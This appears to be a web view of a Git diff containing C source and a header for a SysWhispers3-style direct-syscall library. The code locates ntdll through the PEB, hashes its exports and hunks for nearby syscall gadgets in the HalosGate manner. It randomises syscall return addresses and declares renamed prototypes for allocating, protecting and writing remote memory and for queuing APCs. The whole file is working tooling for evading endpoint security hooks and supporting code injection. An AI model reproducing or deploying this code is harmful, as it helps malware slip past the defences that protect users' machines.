#ifdef _M_IX86
|
||||
// If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved
|
||||
if (local_is_wow64())
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[+] Running 32-bit app on x64 (WOW64)\n");
|
||||
#endif
|
||||
return NULL;
|
||||
}
|
||||
#endif
|
||||
|
||||
// we don't really care if there is a 'jmp' between
|
||||
// NtApiAddress and the 'syscall; ret' instructions
|
||||
SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall);
|
||||
|
||||
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
|
||||
{
|
||||
// we can use the original code for this system call :)
|
||||
#if defined(DEBUG)
|
||||
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
|
||||
#endif
|
||||
return SyscallAddress;
|
||||
}
|
||||
|
||||
// the 'syscall; ret' intructions have not been found,
|
||||
// we will try to use one near it, similarly to HalosGate
|
||||
|
||||
for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++)
|
||||
{
|
||||
// let's try with an Nt* API below our syscall
|
||||
SyscallAddress = SW3_RVA2VA(
|
||||
PVOID,
|
||||
NtApiAddress,
|
||||
distance_to_syscall + num_jumps * 0x20);
|
||||
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
|
||||
{
|
||||
#if defined(DEBUG)
|
||||
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
|
||||
#endif
|
||||
return SyscallAddress;
|
||||
}
|
||||
|
||||
// let's try with an Nt* API above our syscall
|
||||
SyscallAddress = SW3_RVA2VA(
|
||||
PVOID,
|
||||
NtApiAddress,
|
||||
distance_to_syscall - num_jumps * 0x20);
|
||||
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
|
||||
{
|
||||
#if defined(DEBUG)
|
||||
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
|
||||
#endif
|
||||
return SyscallAddress;
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("Syscall Opcodes not found!\n");
|
||||
#endif
|
||||
|
||||
return NULL;
|
||||
}
|
||||
#endif
|
||||
|
||||
|
||||
BOOL SW3_PopulateSyscallList()
|
||||
{
|
||||
// Return early if the list is already populated.
|
||||
if (SW3_SyscallList.Count) return TRUE;
|
||||
|
||||
#ifdef _WIN64
|
||||
PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60);
|
||||
#else
|
||||
PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30);
|
||||
#endif
|
||||
PSW3_PEB_LDR_DATA Ldr = Peb->Ldr;
|
||||
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
|
||||
PVOID DllBase = NULL;
|
||||
|
||||
// Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
|
||||
// in the list, so it's safer to loop through the full list and find it.
|
||||
PSW3_LDR_DATA_TABLE_ENTRY LdrEntry;
|
||||
for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
|
||||
{
|
||||
DllBase = LdrEntry->DllBase;
|
||||
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
|
||||
PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
|
||||
PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
|
||||
DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||
if (VirtualAddress == 0) continue;
|
||||
|
||||
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);
|
||||
|
||||
// If this is NTDLL.dll, exit loop.
|
||||
PCHAR DllName = SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);
|
||||
|
||||
if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue;
|
||||
if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break;
|
||||
}
|
||||
|
||||
if (!ExportDirectory) return FALSE;
|
||||
|
||||
DWORD NumberOfNames = ExportDirectory->NumberOfNames;
|
||||
PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
|
||||
PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
|
||||
PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);
|
||||
|
||||
// Populate SW3_SyscallList with unsorted Zw* entries.
|
||||
DWORD i = 0;
|
||||
PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries;
|
||||
do
|
||||
{
|
||||
PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);
|
||||
|
||||
// Is this a system call?
|
||||
if (*(USHORT*)FunctionName == 0x775a)
|
||||
{
|
||||
Entries[i].Hash = SW3_HashSyscall(FunctionName);
|
||||
Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
|
||||
Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address));
|
||||
|
||||
i++;
|
||||
if (i == SW3_MAX_ENTRIES) break;
|
||||
}
|
||||
} while (--NumberOfNames);
|
||||
|
||||
// Save total number of system calls found.
|
||||
SW3_SyscallList.Count = i;
|
||||
|
||||
// Sort the list by address in ascending order.
|
||||
for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++)
|
||||
{
|
||||
for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++)
|
||||
{
|
||||
if (Entries[j].Address > Entries[j + 1].Address)
|
||||
{
|
||||
// Swap entries.
|
||||
SW3_SYSCALL_ENTRY TempEntry;
|
||||
|
||||
TempEntry.Hash = Entries[j].Hash;
|
||||
TempEntry.Address = Entries[j].Address;
|
||||
TempEntry.SyscallAddress = Entries[j].SyscallAddress;
|
||||
|
||||
Entries[j].Hash = Entries[j + 1].Hash;
|
||||
Entries[j].Address = Entries[j + 1].Address;
|
||||
Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress;
|
||||
|
||||
Entries[j + 1].Hash = TempEntry.Hash;
|
||||
Entries[j + 1].Address = TempEntry.Address;
|
||||
Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash)
|
||||
{
|
||||
// Ensure SW3_SyscallList is populated.
|
||||
if (!SW3_PopulateSyscallList()) return -1;
|
||||
|
||||
for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
|
||||
{
|
||||
if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
|
||||
{
|
||||
return i;
|
||||
}
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash)
|
||||
{
|
||||
// Ensure SW3_SyscallList is populated.
|
||||
if (!SW3_PopulateSyscallList()) return NULL;
|
||||
|
||||
for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
|
||||
{
|
||||
if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
|
||||
{
|
||||
return SW3_SyscallList.Entries[i].SyscallAddress;
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash)
|
||||
{
|
||||
// Ensure SW3_SyscallList is populated.
|
||||
if (!SW3_PopulateSyscallList()) return NULL;
|
||||
|
||||
DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count;
|
||||
|
||||
while (FunctionHash == SW3_SyscallList.Entries[index].Hash){
|
||||
// Spoofing the syscall return address
|
||||
index = ((DWORD) rand()) % SW3_SyscallList.Count;
|
||||
}
|
||||
return SW3_SyscallList.Entries[index].SyscallAddress;
|
||||
}
|
||||
@@ -0,0 +1,100 @@
|
||||
#pragma once
|
||||
|
||||
// Code below is adapted from @modexpblog. Read linked article for more details.
|
||||
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
|
||||
|
||||
#ifndef SW3_HEADER_H_
|
||||
#define SW3_HEADER_H_
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
#ifndef _NTDEF_
|
||||
typedef _Return_type_success_(return >= 0) LONG NTSTATUS;
|
||||
typedef NTSTATUS* PNTSTATUS;
|
||||
#endif
|
||||
|
||||
#define SW3_SEED 0x51EBD349
|
||||
#define SW3_ROL8(v) (v << 8 | v >> 24)
|
||||
#define SW3_ROR8(v) (v >> 8 | v << 24)
|
||||
#define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v))
|
||||
#define SW3_MAX_ENTRIES 600
|
||||
#define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
|
||||
|
||||
// Typedefs are prefixed to avoid pollution.
|
||||
|
||||
typedef struct _SW3_SYSCALL_ENTRY
|
||||
{
|
||||
DWORD Hash;
|
||||
DWORD Address;
|
||||
PVOID SyscallAddress;
|
||||
} SW3_SYSCALL_ENTRY, *PSW3_SYSCALL_ENTRY;
|
||||
|
||||
typedef struct _SW3_SYSCALL_LIST
|
||||
{
|
||||
DWORD Count;
|
||||
SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES];
|
||||
} SW3_SYSCALL_LIST, *PSW3_SYSCALL_LIST;
|
||||
|
||||
typedef struct _SW3_PEB_LDR_DATA {
|
||||
BYTE Reserved1[8];
|
||||
PVOID Reserved2[3];
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
} SW3_PEB_LDR_DATA, *PSW3_PEB_LDR_DATA;
|
||||
|
||||
typedef struct _SW3_LDR_DATA_TABLE_ENTRY {
|
||||
PVOID Reserved1[2];
|
||||
LIST_ENTRY InMemoryOrderLinks;
|
||||
PVOID Reserved2[2];
|
||||
PVOID DllBase;
|
||||
} SW3_LDR_DATA_TABLE_ENTRY, *PSW3_LDR_DATA_TABLE_ENTRY;
|
||||
|
||||
typedef struct _SW3_PEB {
|
||||
BYTE Reserved1[2];
|
||||
BYTE BeingDebugged;
|
||||
BYTE Reserved2[1];
|
||||
PVOID Reserved3[2];
|
||||
PSW3_PEB_LDR_DATA Ldr;
|
||||
} SW3_PEB, *PSW3_PEB;
|
||||
|
||||
DWORD SW3_HashSyscall(PCSTR FunctionName);
|
||||
BOOL SW3_PopulateSyscallList();
|
||||
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash);
|
||||
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash);
|
||||
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID);
|
||||
typedef VOID(KNORMAL_ROUTINE) (
|
||||
IN PVOID NormalContext,
|
||||
IN PVOID SystemArgument1,
|
||||
IN PVOID SystemArgument2);
|
||||
|
||||
typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE;
|
||||
|
||||
EXTERN_C NTSTATUS NTAVM(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID * BaseAddress,
|
||||
IN ULONG ZeroBits,
|
||||
IN OUT PSIZE_T RegionSize,
|
||||
IN ULONG AllocationType,
|
||||
IN ULONG Protect);
|
||||
|
||||
EXTERN_C NTSTATUS NTPVM(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID * BaseAddress,
|
||||
IN OUT PSIZE_T RegionSize,
|
||||
IN ULONG NewProtect,
|
||||
OUT PULONG OldProtect);
|
||||
|
||||
EXTERN_C NTSTATUS NTWVM(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PVOID BaseAddress,
|
||||
IN PVOID Buffer,
|
||||
IN SIZE_T NumberOfBytesToWrite,
|
||||
OUT PSIZE_T NumberOfBytesWritten OPTIONAL);
|
||||
|
||||
EXTERN_C NTSTATUS NTQAT(
|
||||
IN HANDLE ThreadHandle,
|
||||
IN PKNORMAL_ROUTINE ApcRoutine,
|
||||
IN PVOID ApcArgument1 OPTIONAL,
|
||||
IN PVOID ApcArgument2 OPTIONAL,
|
||||
IN PVOID ApcArgument3 OPTIONAL);
|
||||
|
||||
#endif
|
||||
Reference in New Issue
Block a user